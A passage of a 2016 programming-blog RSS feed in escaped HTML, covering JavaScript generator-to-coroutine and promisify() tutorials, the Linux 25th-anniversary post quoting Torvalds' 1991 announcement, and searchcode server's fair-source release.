            reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
          &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
            accept&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;A ternary operator (one of my favorite code syntax tools) further condenses and tidies the code:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let gen &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;arguments&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;accept&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        let yielded &lt;span style="color: #339933;"&gt;=&lt;/span&gt; gen.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #339933;"&gt;!&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;done&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Promise &lt;span style="color: #339933;"&gt;?&lt;/span&gt; yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;.&lt;span style="color: #660066;"&gt;then&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; err &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Error &lt;span style="color: #339933;"&gt;?&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;:&lt;/span&gt; accept&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Better yet is a nested ternary.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #006600; font-style: italic;"&gt;/**
 * Convert a generator into a coroutine.
 **/&lt;/span&gt;
&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let gen &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;arguments&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;accept&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        let yielded &lt;span style="color: #339933;"&gt;=&lt;/span&gt; gen.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
        &lt;span style="color: #339933;"&gt;!&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;done&lt;/span&gt; &lt;span style="color: #339933;"&gt;?&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Promise &lt;span style="color: #339933;"&gt;?&lt;/span&gt; yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;.&lt;span style="color: #660066;"&gt;then&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; err &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Error &lt;span style="color: #339933;"&gt;?&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;:&lt;/span&gt; accept&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;
 
 
&lt;span style="color: #006600; font-style: italic;"&gt;/**
 * Example usage.
 **/&lt;/span&gt;
&lt;span style="color: #006600; font-style: italic;"&gt;// Convert a callback function to a promise function.&lt;/span&gt;
let readFile &lt;span style="color: #339933;"&gt;=&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fs.&lt;span style="color: #660066;"&gt;readFile&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
 
&lt;span style="color: #006600; font-style: italic;"&gt;// Convert a generator into a coroutine.&lt;/span&gt;
let program &lt;span style="color: #339933;"&gt;=&lt;/span&gt; coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #339933;"&gt;*&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;filename&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  let data &lt;span style="color: #339933;"&gt;=&lt;/span&gt; yield readFile&lt;span style="color: #009900;"&gt;(&lt;/span&gt;filename&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #3366CC;"&gt;'utf8'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;data &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Error&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    &lt;span style="color: #006600; font-style: italic;"&gt;// Something failed.&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    &lt;span style="color: #006600; font-style: italic;"&gt;// Do something with 'data'.&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #006600; font-style: italic;"&gt;// Kick of the coroutine and pass in a filename.&lt;/span&gt;
program&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366CC;"&gt;'filename.txt'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I provided an example generator that takes the filename as an argument, which you can see is but a trivial addition.  It is important to remember that the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt; keyword only works with a single value at a time, and that the value must either be a value of some sort or a Promise.  It does not work with callback-based functions.  As shown in the example above, however, it is also quite easy to use a &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;promisify()&lt;/code&gt;&lt;/span&gt; function (provided elsewhere in this blog) to convert callback functions into a Promise, meaning that just about every library can now be used in a coroutine.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;section class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above view-mode-rss"&gt;&lt;h2 class="field-label"&gt;Tags:&amp;nbsp;&lt;/h2&gt;&lt;ul class="field-items"&gt;&lt;li class="field-item even" rel="dc:subject"&gt;&lt;a href="https://cscrunch.com/tags/javascript"&gt;JavaScript&lt;/a&gt;&lt;/li&gt;&lt;li class="field-item odd" rel="dc:subject"&gt;&lt;a href="https://cscrunch.com/tags/promises"&gt;Promises&lt;/a&gt;&lt;/li&gt;&lt;li class="field-item even" rel="dc:subject"&gt;&lt;a href="https://cscrunch.com/tags/generator"&gt;Generator&lt;/a&gt;&lt;/li&gt;&lt;li class="field-item odd" rel="dc:subject"&gt;&lt;a href="https://cscrunch.com/tags/coroutine"&gt;Coroutine&lt;/a&gt;&lt;/li&gt;&lt;li class="field-item even" rel="dc:subject"&gt;&lt;a href="https://cscrunch.com/tags/es6"&gt;ES6&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/section&gt;</description><author>CS Crunch</author><pubDate>Thu, 25 Aug 2016 08:22:35 GMT</pubDate><guid isPermaLink="true">https://cscrunch.com/content/javascript-callbacks-promises-generators-and-coroutines</guid></item><item><title>The Linux operating system turns 25 years old today</title><link>https://jasoneckert.github.io/myblog/linux-turns-25/</link><description>&lt;p&gt;&lt;img alt="LNX1" src="lnx1.png#center" title="LNX1" /&gt;&lt;/p&gt;
&lt;p&gt;Today marks the 25th anniversary of the Linux operating system!&lt;/p&gt;
&lt;p&gt;More specifically, it marks the day that Linus Torvalds announced his new operating system (that was later called Linux) in a newsgroup post:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;From:torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds)
Newsgroup: comp.os.minix
Subject: What would you like to see most in minix?
Summary: small poll for my new operating system
Message-ID: 1991Aug25, 20578.9541@klaava.Helsinki.FI
Date: 25 Aug 91 20:57:08 GMT
Organization: University of Helsinki.

Hello everybody out there using minix-

I'm doing a (free) operating system (just a hobby, won't be big
and professional like gnu) for 386(486) AT clones. This has
been brewing since april, and is starting to get ready. I'd like
any feedback on things people like/dislike in minix; as my OS
resembles it somewhat (same physical layout of the file-system
due to practical reasons)among other things.

I've currently ported bash (1.08) an gcc (1.40), and things seem to work.
This implies that i'll get something practical within a few months, and I'd
like to know what features most people want. Any suggestions are welcome,
but I won't promise I'll implement them :-)

Linus Torvalds torvalds@kruuna.helsinki.fi
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id="so-what-is-linux"&gt;So what is Linux?&lt;/h1&gt;
&lt;p&gt;Linux is a free and open source operating system that runs on millions of computers and devices today. But in order to understand what that means, let’s start by looking at how Linux came to be&amp;hellip;&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Thu, 25 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/linux-turns-25/</guid></item><item><title>searchcode server under fair source</title><link>https://boyter.org/2016/08/searchcode-server-fair-source/</link><description>&lt;p&gt;A very quick blog today. I have released &lt;a href="https://github.com/boyter/searchcode-server"&gt;searchcode server&lt;/a&gt; under the &lt;a href="https://fair.io/"&gt;fair source licence&lt;/a&gt;. This means that as of a few days ago you can view the source, change it modify it and run it as you see fit so long as you have less than 5 users.&lt;/p&gt;
&lt;p&gt;The source is hosted on github (I may move this to GitLab sometime in the future) and you can &lt;a href="https://github.com/boyter/searchcode-server"&gt;view it here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So what does this mean? Well the community edition still exists (run searchcode with as many users as you want) as do the paid versions with support and all the full features. The real advantage however is that you can now vet the source code to ensure that searchcode server is not secretly sending your most valuable asset to some hidden server somewhere. In addition it means I can now talk about the source openly and will be writing some posts about how I ran into some CPU branching issues which slowed down some code.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 25 Aug 2016 02:38:33 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/08/searchcode-server-fair-source/</guid></item><item><title>Promisify A Callback Function Without 3rd Party Libraries</title><link>https://cscrunch.com/content/promisify-callback-function-without-3rd-party-libraries</link><description>&lt;div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"&gt;&lt;div class="field-items"&gt;&lt;div class="field-item even"&gt;&lt;p&gt;I was recently working on some code in which I wanted to use Promises, but all that I had was callback-centric code.  In the past, I have imported libraries such as bluebird for this particular problem, but now that seems like a bit of overkill to get just one function.  I'm already using ES6, so I don't need a polyfill in order to use Promises; all that I want is a simple &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;promisify()&lt;/code&gt;&lt;/span&gt; function.  Importing an entire library for one function is, IMO, wasteful.  Besides, it's more fun to write (and therefore understand at a deeper level) your own implementation, so that's what I did.&lt;/p&gt;
&lt;p&gt;If you don't care about why this code works, then you can see it in its completed form below.  If you are actually curious as to how I came up with it, then read on and I will explain it to you.  The finished code is as follows:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #006600; font-style: italic;"&gt;/**
 * Convert a callback-based function into a promise.
 **/&lt;/span&gt;
&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;resolve&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;args&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;error&lt;span style="color: #339933;"&gt;,&lt;/span&gt; content&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; error &lt;span style="color: #339933;"&gt;?&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;error&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; resolve&lt;span style="color: #009900;"&gt;(&lt;/span&gt;content&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;!--break--&gt;&lt;p&gt;
First of all, we should describe the coding situation.  In Node.js (and many related JavaScript libraries), most callback functions use the same form, as shown below with our fictional &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;foo()&lt;/code&gt;&lt;/span&gt; function:&lt;/p&gt;
&lt;p&gt;&lt;span class="geshifilter"&gt;&lt;code class="javascript geshifilter-javascript"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; foo&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;[&lt;/span&gt;arg1&lt;span style="color: #339933;"&gt;,&lt;/span&gt; arg2&lt;span style="color: #339933;"&gt;,&lt;/span&gt; arg3&lt;span style="color: #339933;"&gt;,&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt; callback&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;callback()&lt;/code&gt;&lt;/span&gt; function will be called when the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;foo()&lt;/code&gt;&lt;/span&gt; function is finished.  What we want, rather, is to be able to use this function as though it were a &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;Promise&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;let bar &lt;span style="color: #339933;"&gt;=&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;foo&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
bar&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arg1&lt;span style="color: #339933;"&gt;,&lt;/span&gt; arg2&lt;span style="color: #339933;"&gt;,&lt;/span&gt; arg3&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;then&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;callback&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
bar&lt;span style="color: #009900;"&gt;(&lt;/span&gt;differentArg1&lt;span style="color: #339933;"&gt;,&lt;/span&gt; differentArg2&lt;span style="color: #339933;"&gt;,&lt;/span&gt; differentArg3&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;then&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;differentCallback&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;By defining how we expect to use &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;promisify()&lt;/code&gt;&lt;/span&gt; and &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;bar()&lt;/code&gt;&lt;/span&gt;, we can infer the internal structure of the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;promisify()&lt;/code&gt;&lt;/span&gt; function.  Notice that &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;bar&lt;/code&gt;&lt;/span&gt; is a function, so &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;promisify()&lt;/code&gt;&lt;/span&gt; must return a function.  Here is the skeleton:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; bar&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here we run into our first snag.  When &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;bar()&lt;/code&gt;&lt;/span&gt; is called, we need to pass its arguments into &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;fn&lt;/code&gt;&lt;/span&gt; (the function that we originally called &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;promisify()&lt;/code&gt;&lt;/span&gt; on).&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; bar&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    fn.&lt;span style="color: #660066;"&gt;apply&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #003366; font-weight: bold;"&gt;undefined&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
